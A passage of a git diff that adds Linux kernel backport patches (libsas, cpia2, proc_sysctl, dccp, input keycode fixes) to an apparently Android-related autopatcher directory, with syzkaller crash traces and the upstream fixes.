+[183047.705864] pc : prep_ata_v3_hw+0xf8/0x230 [hisi_sas_v3_hw] +[183047.711510] lr : prep_ata_v3_hw+0xb0/0x230 [hisi_sas_v3_hw] +[183047.717153] sp : ffff00000f28ba60 +[183047.720541] x29: ffff00000f28ba60 x28: ffff8026852d7228 +[183047.725925] x27: ffff8027dba3e0a8 x26: ffff8027c05fc200 +[183047.731310] x25: 0000000000000000 x24: ffff8026bafa8dc0 +[183047.736695] x23: ffff8027c05fc218 x22: ffff8026852d7228 +[183047.742079] x21: ffff80007c2f2940 x20: ffff8027c05fc200 +[183047.747464] x19: 0000000000f80800 x18: 0000000000000010 +[183047.752848] x17: 0000000000000000 x16: 0000000000000000 +[183047.758232] x15: ffff000089a5a4ff x14: 0000000000000005 +[183047.763617] x13: ffff000009a5a50e x12: ffff8026bafa1e20 +[183047.769001] x11: ffff0000087453b8 x10: ffff00000f28b870 +[183047.774385] x9 : 0000000000000000 x8 : ffff80007e58f9b0 +[183047.779770] x7 : 0000000000000000 x6 : 000000000000003f +[183047.785154] x5 : 0000000000000040 x4 : ffffffffffffffe0 +[183047.790538] x3 : 00000000000000f8 x2 : 0000000002000007 +[183047.795922] x1 : 0000000000000008 x0 : 0000000000000000 +[183047.801307] Call trace: +[183047.803827] prep_ata_v3_hw+0xf8/0x230 [hisi_sas_v3_hw] +[183047.809127] hisi_sas_task_prep+0x750/0x888 [hisi_sas_main] +[183047.814773] hisi_sas_task_exec.isra.7+0x88/0x1f0 [hisi_sas_main] +[183047.820939] hisi_sas_queue_command+0x28/0x38 [hisi_sas_main] +[183047.826757] smp_execute_task_sg+0xec/0x218 +[183047.831013] smp_execute_task+0x74/0xa0 +[183047.834921] sas_discover_expander.part.7+0x9c/0x5f8 +[183047.839959] sas_discover_root_expander+0x90/0x160 +[183047.844822] sas_discover_domain+0x1b8/0x1e8 +[183047.849164] process_one_work+0x1b4/0x3f8 +[183047.853246] worker_thread+0x54/0x470 +[183047.856981] kthread+0x134/0x138 +[183047.860283] ret_from_fork+0x10/0x18 +[183047.863931] Code: f9407a80 528000e2 39409281 72a04002 (b9405800) +[183047.870097] kernel fault(0x1) notification starting on CPU 0 +[183047.875828] kernel fault(0x1) notification finished on CPU 0 +[183047.881559] Modules linked in: unibsp(OE) hns3(OE) hclge(OE) +hnae3(OE) mem_drv(OE) hisi_sas_v3_hw(OE) hisi_sas_main(OE) +[183047.892418] ---[ end trace 4cc26083fc11b783 ]--- +[183047.897107] Kernel panic - not syncing: Fatal exception +[183047.902403] kernel fault(0x5) notification starting on CPU 0 +[183047.908134] kernel fault(0x5) notification finished on CPU 0 +[183047.913865] SMP: stopping secondary CPUs +[183047.917861] Kernel Offset: disabled +[183047.921422] CPU features: 0x2,a2a00a38 +[183047.925243] Memory Limit: none +[183047.928372] kernel reboot(0x2) notification starting on CPU 0 +[183047.934190] kernel reboot(0x2) notification finished on CPU 0 +[183047.940008] ---[ end Kernel panic - not syncing: Fatal exception +]--- + +Fixes: 2908d778ab3e ("[SCSI] aic94xx: new driver") +Link: https://lore.kernel.org/r/20191206011118.46909-1-yanaijie@huawei.com +Reported-by: Gao Chuan +Reviewed-by: John Garry +Signed-off-by: Jason Yan +Signed-off-by: Martin K. Petersen +--- + drivers/scsi/libsas/sas_discover.c | 11 ++++++++++- + 1 file changed, 10 insertions(+), 1 deletion(-) + +diff --git a/drivers/scsi/libsas/sas_discover.c b/drivers/scsi/libsas/sas_discover.c +index f47b4b281b14a..d7302c2052f91 100644 +--- a/drivers/scsi/libsas/sas_discover.c ++++ b/drivers/scsi/libsas/sas_discover.c +@@ -81,12 +81,21 @@ static int sas_get_port_device(struct asd_sas_port *port) + else + dev->dev_type = SAS_SATA_DEV; + dev->tproto = SAS_PROTOCOL_SATA; +- } else { ++ } else if (port->oob_mode == SAS_OOB_MODE) { + struct sas_identify_frame *id = + (struct sas_identify_frame *) dev->frame_rcvd; + dev->dev_type = id->dev_type; + dev->iproto = id->initiator_bits; + dev->tproto = id->target_bits; ++ } else { ++ /* If the oob mode is OOB_NOT_CONNECTED, the port is ++ * disconnected due to race with PHY down. We cannot ++ * continue to discover this port ++ */ ++ sas_put_device(dev); ++ pr_warn("Port %016llx is disconnected when discovering\n", ++ SAS_ADDR(port->attached_sas_addr)); ++ return -ENODEV; + } + + sas_init_dev(dev); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0590-dea37a972655-media cpia2 Fix useafterfree in cpia2exit.patch b/recipes-kernel/linux/linux-bass/autopatcher/0590-dea37a972655-media cpia2 Fix useafterfree in cpia2exit.patch new file mode 100644 index 0000000..22695e4 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0590-dea37a972655-media cpia2 Fix useafterfree in cpia2exit.patch @@ -0,0 +1,123 @@ +From dea37a97265588da604c6ba80160a287b72c7bfd Mon Sep 17 00:00:00 2001 +From: YueHaibing +Date: Wed, 6 Mar 2019 07:45:08 -0500 +Subject: media: cpia2: Fix use-after-free in cpia2_exit + +Syzkaller report this: + +BUG: KASAN: use-after-free in sysfs_remove_file_ns+0x5f/0x70 fs/sysfs/file.c:468 +Read of size 8 at addr ffff8881f59a6b70 by task syz-executor.0/8363 + +CPU: 0 PID: 8363 Comm: syz-executor.0 Not tainted 5.0.0-rc8+ #3 +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 +Call Trace: + __dump_stack lib/dump_stack.c:77 [inline] + dump_stack+0xfa/0x1ce lib/dump_stack.c:113 + print_address_description+0x65/0x270 mm/kasan/report.c:187 + kasan_report+0x149/0x18d mm/kasan/report.c:317 + sysfs_remove_file_ns+0x5f/0x70 fs/sysfs/file.c:468 + sysfs_remove_file include/linux/sysfs.h:519 [inline] + driver_remove_file+0x40/0x50 drivers/base/driver.c:122 + usb_remove_newid_files drivers/usb/core/driver.c:212 [inline] + usb_deregister+0x12a/0x3b0 drivers/usb/core/driver.c:1005 + cpia2_exit+0xa/0x16 [cpia2] + __do_sys_delete_module kernel/module.c:1018 [inline] + __se_sys_delete_module kernel/module.c:961 [inline] + __x64_sys_delete_module+0x3dc/0x5e0 kernel/module.c:961 + do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290 + entry_SYSCALL_64_after_hwframe+0x49/0xbe +RIP: 0033:0x462e99 +Code: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48 +RSP: 002b:00007f86f3754c58 EFLAGS: 00000246 ORIG_RAX: 00000000000000b0 +RAX: ffffffffffffffda RBX: 000000000073bf00 RCX: 0000000000462e99 +RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000020000300 +RBP: 0000000000000002 R08: 0000000000000000 R09: 0000000000000000 +R10: 0000000000000000 R11: 0000000000000246 R12: 00007f86f37556bc +R13: 00000000004bcca9 R14: 00000000006f6b48 R15: 00000000ffffffff + +Allocated by task 8363: + set_track mm/kasan/common.c:85 [inline] + __kasan_kmalloc.constprop.3+0xa0/0xd0 mm/kasan/common.c:495 + kmalloc include/linux/slab.h:545 [inline] + kzalloc include/linux/slab.h:740 [inline] + bus_add_driver+0xc0/0x610 drivers/base/bus.c:651 + driver_register+0x1bb/0x3f0 drivers/base/driver.c:170 + usb_register_driver+0x267/0x520 drivers/usb/core/driver.c:965 + 0xffffffffc1b4817c + do_one_initcall+0xfa/0x5ca init/main.c:887 + do_init_module+0x204/0x5f6 kernel/module.c:3460 + load_module+0x66b2/0x8570 kernel/module.c:3808 + __do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902 + do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290 + entry_SYSCALL_64_after_hwframe+0x49/0xbe + +Freed by task 8363: + set_track mm/kasan/common.c:85 [inline] + __kasan_slab_free+0x130/0x180 mm/kasan/common.c:457 + slab_free_hook mm/slub.c:1430 [inline] + slab_free_freelist_hook mm/slub.c:1457 [inline] + slab_free mm/slub.c:3005 [inline] + kfree+0xe1/0x270 mm/slub.c:3957 + kobject_cleanup lib/kobject.c:662 [inline] + kobject_release lib/kobject.c:691 [inline] + kref_put include/linux/kref.h:67 [inline] + kobject_put+0x146/0x240 lib/kobject.c:708 + bus_remove_driver+0x10e/0x220 drivers/base/bus.c:732 + driver_unregister+0x6c/0xa0 drivers/base/driver.c:197 + usb_register_driver+0x341/0x520 drivers/usb/core/driver.c:980 + 0xffffffffc1b4817c + do_one_initcall+0xfa/0x5ca init/main.c:887 + do_init_module+0x204/0x5f6 kernel/module.c:3460 + load_module+0x66b2/0x8570 kernel/module.c:3808 + __do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902 + do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290 + entry_SYSCALL_64_after_hwframe+0x49/0xbe + +The buggy address belongs to the object at ffff8881f59a6b40 + which belongs to the cache kmalloc-256 of size 256 +The buggy address is located 48 bytes inside of + 256-byte region [ffff8881f59a6b40, ffff8881f59a6c40) +The buggy address belongs to the page: +page:ffffea0007d66980 count:1 mapcount:0 mapping:ffff8881f6c02e00 index:0x0 +flags: 0x2fffc0000000200(slab) +raw: 02fffc0000000200 dead000000000100 dead000000000200 ffff8881f6c02e00 +raw: 0000000000000000 00000000800c000c 00000001ffffffff 0000000000000000 +page dumped because: kasan: bad access detected + +Memory state around the buggy address: + ffff8881f59a6a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + ffff8881f59a6a80: 00 00 00 00 00 00 00 00 00 00 fc fc fc fc fc fc +>ffff8881f59a6b00: fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb fb + ^ + ffff8881f59a6b80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb + ffff8881f59a6c00: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc + +cpia2_init does not check return value of cpia2_init, if it failed +in usb_register_driver, there is already cleanup using driver_unregister. +No need call cpia2_usb_cleanup on module exit. + +Reported-by: Hulk Robot +Signed-off-by: YueHaibing +Signed-off-by: Hans Verkuil +Signed-off-by: Mauro Carvalho Chehab +--- + drivers/media/usb/cpia2/cpia2_v4l.c | 3 +-- + 1 file changed, 1 insertion(+), 2 deletions(-) + +diff --git a/drivers/media/usb/cpia2/cpia2_v4l.c b/drivers/media/usb/cpia2/cpia2_v4l.c +index 95c0bd4a19dcb..45caf78119c4f 100644 +--- a/drivers/media/usb/cpia2/cpia2_v4l.c ++++ b/drivers/media/usb/cpia2/cpia2_v4l.c +@@ -1240,8 +1240,7 @@ static int __init cpia2_init(void) + LOG("%s v%s\n", + ABOUT, CPIA_VERSION); + check_parameters(); +- cpia2_usb_init(); +- return 0; ++ return cpia2_usb_init(); + } + + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0591-23da9588037e-fsprocprocsysctlc fix NULL pointer dereference in putlinks.patch b/recipes-kernel/linux/linux-bass/autopatcher/0591-23da9588037e-fsprocprocsysctlc fix NULL pointer dereference in putlinks.patch new file mode 100644 index 0000000..23ebee0 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0591-23da9588037e-fsprocprocsysctlc fix NULL pointer dereference in putlinks.patch @@ -0,0 +1,98 @@ +From 23da9588037ecdd4901db76a5b79a42b529c4ec3 Mon Sep 17 00:00:00 2001 +From: YueHaibing +Date: Thu, 28 Mar 2019 20:44:40 -0700 +Subject: fs/proc/proc_sysctl.c: fix NULL pointer dereference in put_links + +Syzkaller reports: + +kasan: GPF could be caused by NULL-ptr deref or user memory access +general protection fault: 0000 [#1] SMP KASAN PTI +CPU: 1 PID: 5373 Comm: syz-executor.0 Not tainted 5.0.0-rc8+ #3 +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 +RIP: 0010:put_links+0x101/0x440 fs/proc/proc_sysctl.c:1599 +Code: 00 0f 85 3a 03 00 00 48 8b 43 38 48 89 44 24 20 48 83 c0 38 48 89 c2 48 89 44 24 28 48 b8 00 00 00 00 00 fc ff df 48 c1 ea 03 <80> 3c 02 00 0f 85 fe 02 00 00 48 8b 74 24 20 48 c7 c7 60 2a 9d 91 +RSP: 0018:ffff8881d828f238 EFLAGS: 00010202 +RAX: dffffc0000000000 RBX: ffff8881e01b1140 RCX: ffffffff8ee98267 +RDX: 0000000000000007 RSI: ffffc90001479000 RDI: ffff8881e01b1178 +RBP: dffffc0000000000 R08: ffffed103ee27259 R09: ffffed103ee27259 +R10: 0000000000000001 R11: ffffed103ee27258 R12: fffffffffffffff4 +R13: 0000000000000006 R14: ffff8881f59838c0 R15: dffffc0000000000 +FS: 00007f072254f700(0000) GS:ffff8881f7100000(0000) knlGS:0000000000000000 +CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +CR2: 00007fff8b286668 CR3: 00000001f0542002 CR4: 00000000007606e0 +DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 +DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 +PKRU: 55555554 +Call Trace: + drop_sysctl_table+0x152/0x9f0 fs/proc/proc_sysctl.c:1629 + get_subdir fs/proc/proc_sysctl.c:1022 [inline] + __register_sysctl_table+0xd65/0x1090 fs/proc/proc_sysctl.c:1335 + br_netfilter_init+0xbc/0x1000 [br_netfilter] + do_one_initcall+0xfa/0x5ca init/main.c:887 + do_init_module+0x204/0x5f6 kernel/module.c:3460 + load_module+0x66b2/0x8570 kernel/module.c:3808 + __do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902 + do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290 + entry_SYSCALL_64_after_hwframe+0x49/0xbe +RIP: 0033:0x462e99 +Code: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48 +RSP: 002b:00007f072254ec58 EFLAGS: 00000246 ORIG_RAX: 0000000000000139 +RAX: ffffffffffffffda RBX: 000000000073bf00 RCX: 0000000000462e99 +RDX: 0000000000000000 RSI: 0000000020000280 RDI: 0000000000000003 +RBP: 00007f072254ec70 R08: 0000000000000000 R09: 0000000000000000 +R10: 0000000000000000 R11: 0000000000000246 R12: 00007f072254f6bc +R13: 00000000004bcefa R14: 00000000006f6fb0 R15: 0000000000000004 +Modules linked in: br_netfilter(+) dvb_usb_dibusb_mc_common dib3000mc dibx000_common dvb_usb_dibusb_common dvb_usb_dw2102 dvb_usb classmate_laptop palmas_regulator cn videobuf2_v4l2 v4l2_common snd_soc_bd28623 mptbase snd_usb_usx2y snd_usbmidi_lib snd_rawmidi wmi libnvdimm lockd sunrpc grace rc_kworld_pc150u rc_core rtc_da9063 sha1_ssse3 i2c_cros_ec_tunnel adxl34x_spi adxl34x nfnetlink lib80211 i5500_temp dvb_as102 dvb_core videobuf2_common videodev media videobuf2_vmalloc videobuf2_memops udc_core lnbp22 leds_lp3952 hid_roccat_ryos s1d13xxxfb mtd vport_geneve openvswitch nf_conncount nf_nat_ipv6 nsh geneve udp_tunnel ip6_udp_tunnel snd_soc_mt6351 sis_agp phylink snd_soc_adau1761_spi snd_soc_adau1761 snd_soc_adau17x1 snd_soc_core snd_pcm_dmaengine ac97_bus snd_compress snd_soc_adau_utils snd_soc_sigmadsp_regmap snd_soc_sigmadsp raid_class hid_roccat_konepure hid_roccat_common hid_roccat c2port_duramar2150 core mdio_bcm_unimac iptable_security iptable_raw iptable_mangle + iptable_nat nf_nat_ipv4 nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 iptable_filter bpfilter ip6_vti ip_vti ip_gre ipip sit tunnel4 ip_tunnel hsr veth netdevsim devlink vxcan batman_adv cfg80211 rfkill chnl_net caif nlmon dummy team bonding vcan bridge stp llc ip6_gre gre ip6_tunnel tunnel6 tun crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel joydev mousedev ide_pci_generic piix aesni_intel aes_x86_64 ide_core crypto_simd atkbd cryptd glue_helper serio_raw ata_generic pata_acpi i2c_piix4 floppy sch_fq_codel ip_tables x_tables ipv6 [last unloaded: lm73] +Dumping ftrace buffer: + (ftrace buffer empty) +---[ end trace 770020de38961fd0 ]--- + +A new dir entry can be created in get_subdir and its 'header->parent' is +set to NULL. Only after insert_header success, it will be set to 'dir', +otherwise 'header->parent' is set to NULL and drop_sysctl_table is called. +However in err handling path of get_subdir, drop_sysctl_table also be +called on 'new->header' regardless its value of parent pointer. Then +put_links is called, which triggers NULL-ptr deref when access member of +header->parent. + +In fact we have multiple error paths which call drop_sysctl_table() there, +upon failure on insert_links() we also call drop_sysctl_table().And even +in the successful case on __register_sysctl_table() we still always call +drop_sysctl_table().This patch fix it. + +Link: http://lkml.kernel.org/r/20190314085527.13244-1-yuehaibing@huawei.com +Fixes: 0e47c99d7fe25 ("sysctl: Replace root_list with links between sysctl_table_sets") +Signed-off-by: YueHaibing +Reported-by: Hulk Robot +Acked-by: Luis Chamberlain +Cc: Kees Cook +Cc: Alexey Dobriyan +Cc: Alexei Starovoitov +Cc: Daniel Borkmann +Cc: Al Viro +Cc: Eric W. Biederman +Cc: [3.4+] +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +--- + fs/proc/proc_sysctl.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/fs/proc/proc_sysctl.c b/fs/proc/proc_sysctl.c +index 4d598a399bbff..d653907275419 100644 +--- a/fs/proc/proc_sysctl.c ++++ b/fs/proc/proc_sysctl.c +@@ -1626,7 +1626,8 @@ static void drop_sysctl_table(struct ctl_table_header *header) + if (--header->nreg) + return; + +- put_links(header); ++ if (parent) ++ put_links(header); + start_unregistering(header); + if (!--header->count) + kfree_rcu(header, rcu); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0592-89189557b47b-fsprocprocsysctlc Fix a NULL pointer dereference.patch b/recipes-kernel/linux/linux-bass/autopatcher/0592-89189557b47b-fsprocprocsysctlc Fix a NULL pointer dereference.patch new file mode 100644 index 0000000..1d1e9a1 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0592-89189557b47b-fsprocprocsysctlc Fix a NULL pointer dereference.patch @@ -0,0 +1,96 @@ +From 89189557b47b35683a27c80ee78aef18248eefb4 Mon Sep 17 00:00:00 2001 +From: YueHaibing +Date: Thu, 25 Apr 2019 22:24:05 -0700 +Subject: fs/proc/proc_sysctl.c: Fix a NULL pointer dereference + +Syzkaller report this: + + sysctl could not get directory: /net//bridge -12 + kasan: CONFIG_KASAN_INLINE enabled + kasan: GPF could be caused by NULL-ptr deref or user memory access + general protection fault: 0000 [#1] SMP KASAN PTI + CPU: 1 PID: 7027 Comm: syz-executor.0 Tainted: G C 5.1.0-rc3+ #8 + Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 + RIP: 0010:__write_once_size include/linux/compiler.h:220 [inline] + RIP: 0010:__rb_change_child include/linux/rbtree_augmented.h:144 [inline] + RIP: 0010:__rb_erase_augmented include/linux/rbtree_augmented.h:186 [inline] + RIP: 0010:rb_erase+0x5f4/0x19f0 lib/rbtree.c:459 + Code: 00 0f 85 60 13 00 00 48 89 1a 48 83 c4 18 5b 5d 41 5c 41 5d 41 5e 41 5f c3 48 89 f2 48 b8 00 00 00 00 00 fc ff df 48 c1 ea 03 <80> 3c 02 00 0f 85 75 0c 00 00 4d 85 ed 4c 89 2e 74 ce 4c 89 ea 48 + RSP: 0018:ffff8881bb507778 EFLAGS: 00010206 + RAX: dffffc0000000000 RBX: ffff8881f224b5b8 RCX: ffffffff818f3f6a + RDX: 000000000000000a RSI: 0000000000000050 RDI: ffff8881f224b568 + RBP: 0000000000000000 R08: ffffed10376a0ef4 R09: ffffed10376a0ef4 + R10: 0000000000000001 R11: ffffed10376a0ef4 R12: ffff8881f224b558 + R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 + FS: 00007f3e7ce13700(0000) GS:ffff8881f7300000(0000) knlGS:0000000000000000 + CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 + CR2: 00007fd60fbe9398 CR3: 00000001cb55c001 CR4: 00000000007606e0 + DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 + DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 + PKRU: 55555554 + Call Trace: + erase_entry fs/proc/proc_sysctl.c:178 [inline] + erase_header+0xe3/0x160 fs/proc/proc_sysctl.c:207 + start_unregistering fs/proc/proc_sysctl.c:331 [inline] + drop_sysctl_table+0x558/0x880 fs/proc/proc_sysctl.c:1631 + get_subdir fs/proc/proc_sysctl.c:1022 [inline] + __register_sysctl_table+0xd65/0x1090 fs/proc/proc_sysctl.c:1335 + br_netfilter_init+0x68/0x1000 [br_netfilter] + do_one_initcall+0xbc/0x47d init/main.c:901 + do_init_module+0x1b5/0x547 kernel/module.c:3456 + load_module+0x6405/0x8c10 kernel/module.c:3804 + __do_sys_finit_module+0x162/0x190 kernel/module.c:3898 + do_syscall_64+0x9f/0x450 arch/x86/entry/common.c:290 + entry_SYSCALL_64_after_hwframe+0x49/0xbe + Modules linked in: br_netfilter(+) backlight comedi(C) hid_sensor_hub max3100 ti_ads8688 udc_core fddi snd_mona leds_gpio rc_streamzap mtd pata_netcell nf_log_common rc_winfast udp_tunnel snd_usbmidi_lib snd_usb_toneport snd_usb_line6 snd_rawmidi snd_seq_device snd_hwdep videobuf2_v4l2 videobuf2_common videodev media videobuf2_vmalloc videobuf2_memops rc_gadmei_rm008z 8250_of smm665 hid_tmff hid_saitek hwmon_vid rc_ati_tv_wonder_hd_600 rc_core pata_pdc202xx_old dn_rtmsg as3722 ad714x_i2c ad714x snd_soc_cs4265 hid_kensington panel_ilitek_ili9322 drm drm_panel_orientation_quirks ipack cdc_phonet usbcore phonet hid_jabra hid extcon_arizona can_dev industrialio_triggered_buffer kfifo_buf industrialio adm1031 i2c_mux_ltc4306 i2c_mux ipmi_msghandler mlxsw_core snd_soc_cs35l34 snd_soc_core snd_pcm_dmaengine snd_pcm snd_timer ac97_bus snd_compress snd soundcore gpio_da9055 uio ecdh_generic mdio_thunder of_mdio fixed_phy libphy mdio_cavium iptable_security iptable_raw iptable_mangle + iptable_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 iptable_filter bpfilter ip6_vti ip_vti ip_gre ipip sit tunnel4 ip_tunnel hsr veth netdevsim vxcan batman_adv cfg80211 rfkill chnl_net caif nlmon dummy team bonding vcan bridge stp llc ip6_gre gre ip6_tunnel tunnel6 tun joydev mousedev ppdev tpm kvm_intel kvm irqbypass crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel aesni_intel ide_pci_generic piix aes_x86_64 crypto_simd cryptd ide_core glue_helper input_leds psmouse intel_agp intel_gtt serio_raw ata_generic i2c_piix4 agpgart pata_acpi parport_pc parport floppy rtc_cmos sch_fq_codel ip_tables x_tables sha1_ssse3 sha1_generic ipv6 [last unloaded: br_netfilter] + Dumping ftrace buffer: + (ftrace buffer empty) + ---[ end trace 68741688d5fbfe85 ]--- + +commit 23da9588037e ("fs/proc/proc_sysctl.c: fix NULL pointer +dereference in put_links") forgot to handle start_unregistering() case, +while header->parent is NULL, it calls erase_header() and as seen in the +above syzkaller call trace, accessing &header->parent->root will trigger +a NULL pointer dereference. + +As that commit explained, there is also no need to call +start_unregistering() if header->parent is NULL. + +Link: http://lkml.kernel.org/r/20190409153622.28112-1-yuehaibing@huawei.com +Fixes: 23da9588037e ("fs/proc/proc_sysctl.c: fix NULL pointer dereference in put_links") +Fixes: 0e47c99d7fe25 ("sysctl: Replace root_list with links between sysctl_table_sets") +Signed-off-by: YueHaibing +Reported-by: Hulk Robot +Reviewed-by: Kees Cook +Cc: Luis Chamberlain +Cc: Alexey Dobriyan +Cc: Al Viro +Cc: "Eric W. Biederman" +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +--- + fs/proc/proc_sysctl.c | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +diff --git a/fs/proc/proc_sysctl.c b/fs/proc/proc_sysctl.c +index d653907275419..7325baa8f9d47 100644 +--- a/fs/proc/proc_sysctl.c ++++ b/fs/proc/proc_sysctl.c +@@ -1626,9 +1626,11 @@ static void drop_sysctl_table(struct ctl_table_header *header) + if (--header->nreg) + return; + +- if (parent) ++ if (parent) { + put_links(header); +- start_unregistering(header); ++ start_unregistering(header); ++ } ++ + if (!--header->count) + kfree_rcu(header, rcu); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0593-1d3ff0950e2b-dccp Fix memleak in featregistersp.patch b/recipes-kernel/linux/linux-bass/autopatcher/0593-1d3ff0950e2b-dccp Fix memleak in featregistersp.patch new file mode 100644 index 0000000..adfd9c8 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0593-1d3ff0950e2b-dccp Fix memleak in featregistersp.patch @@ -0,0 +1,38 @@ +From 1d3ff0950e2b40dc861b1739029649d03f591820 Mon Sep 17 00:00:00 2001 +From: YueHaibing +Date: Mon, 1 Apr 2019 09:35:54 +0800 +Subject: dccp: Fix memleak in __feat_register_sp + +If dccp_feat_push_change fails, we forget free the mem +which is alloced by kmemdup in dccp_feat_clone_sp_val. + +Reported-by: Hulk Robot +Fixes: e8ef967a54f4 ("dccp: Registration routines for changing feature values") +Reviewed-by: Mukesh Ojha +Signed-off-by: YueHaibing +Signed-off-by: David S. Miller +--- + net/dccp/feat.c | 7 ++++++- + 1 file changed, 6 insertions(+), 1 deletion(-) + +diff --git a/net/dccp/feat.c b/net/dccp/feat.c +index f227f002c73d3..db87d9f580198 100644 +--- a/net/dccp/feat.c ++++ b/net/dccp/feat.c +@@ -738,7 +738,12 @@ static int __feat_register_sp(struct list_head *fn, u8 feat, u8 is_local, + if (dccp_feat_clone_sp_val(&fval, sp_val, sp_len)) + return -ENOMEM; + +- return dccp_feat_push_change(fn, feat, is_local, mandatory, &fval); ++ if (dccp_feat_push_change(fn, feat, is_local, mandatory, &fval)) { ++ kfree(fval.sp.vec); ++ return -ENOMEM; ++ } ++ ++ return 0; + } + + /** +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0594-cb222aed03d7-Input add safety guards to inputsetkeycode.patch b/recipes-kernel/linux/linux-bass/autopatcher/0594-cb222aed03d7-Input add safety guards to inputsetkeycode.patch new file mode 100644 index 0000000..d140422 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0594-cb222aed03d7-Input add safety guards to inputsetkeycode.patch @@ -0,0 +1,68 @@ +From cb222aed03d798fc074be55e59d9a112338ee784 Mon Sep 17 00:00:00 2001 +From: Dmitry Torokhov +Date: Fri, 13 Dec 2019 14:56:16 -0800 +Subject: Input: add safety guards to input_set_keycode() + +If we happen to have a garbage in input device's keycode table with values +too big we'll end up doing clear_bit() with offset way outside of our +bitmaps, damaging other objects within an input device or even outside of +it. Let's add sanity checks to the returned old keycodes. + +Reported-by: syzbot+c769968809f9359b07aa@syzkaller.appspotmail.com +Reported-by: syzbot+76f3a30e88d256644c78@syzkaller.appspotmail.com +Link: https://lore.kernel.org/r/20191207212757.GA245964@dtor-ws +Signed-off-by: Dmitry Torokhov +--- + drivers/input/input.c | 26 ++++++++++++++++---------- + 1 file changed, 16 insertions(+), 10 deletions(-) + +diff --git a/drivers/input/input.c b/drivers/input/input.c +index 55086279d044e..ee6c3234df363 100644 +--- a/drivers/input/input.c ++++ b/drivers/input/input.c +@@ -878,16 +878,18 @@ static int input_default_setkeycode(struct input_dev *dev, + } + } + +- __clear_bit(*old_keycode, dev->keybit); +- __set_bit(ke->keycode, dev->keybit); +- +- for (i = 0; i < dev->keycodemax; i++) { +- if (input_fetch_keycode(dev, i) == *old_keycode) { +- __set_bit(*old_keycode, dev->keybit); +- break; /* Setting the bit twice is useless, so break */ ++ if (*old_keycode <= KEY_MAX) { ++ __clear_bit(*old_keycode, dev->keybit); ++ for (i = 0; i < dev->keycodemax; i++) { ++ if (input_fetch_keycode(dev, i) == *old_keycode) { ++ __set_bit(*old_keycode, dev->keybit); ++ /* Setting the bit twice is useless, so break */ ++ break; ++ } + } + } + ++ __set_bit(ke->keycode, dev->keybit); + return 0; + } + +@@ -943,9 +945,13 @@ int input_set_keycode(struct input_dev *dev, + * Simulate keyup event if keycode is not present + * in the keymap anymore + */ +- if (test_bit(EV_KEY, dev->evbit) && +- !is_event_supported(old_keycode, dev->keybit, KEY_MAX) && +- __test_and_clear_bit(old_keycode, dev->key)) { ++ if (old_keycode > KEY_MAX) { ++ dev_warn(dev->dev.parent ?: &dev->dev, ++ "%s: got too big old keycode %#x\n", ++ __func__, old_keycode); ++ } else if (test_bit(EV_KEY, dev->evbit) && ++ !is_event_supported(old_keycode, dev->keybit, KEY_MAX) && ++ __test_and_clear_bit(old_keycode, dev->key)) { + struct input_value vals[] = { + { EV_KEY, old_keycode, 0 }, + input_value_sync +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0595-60ac75e40a33-PATCH UPSTREAM ANDROID binder synchronizercu when using.patch 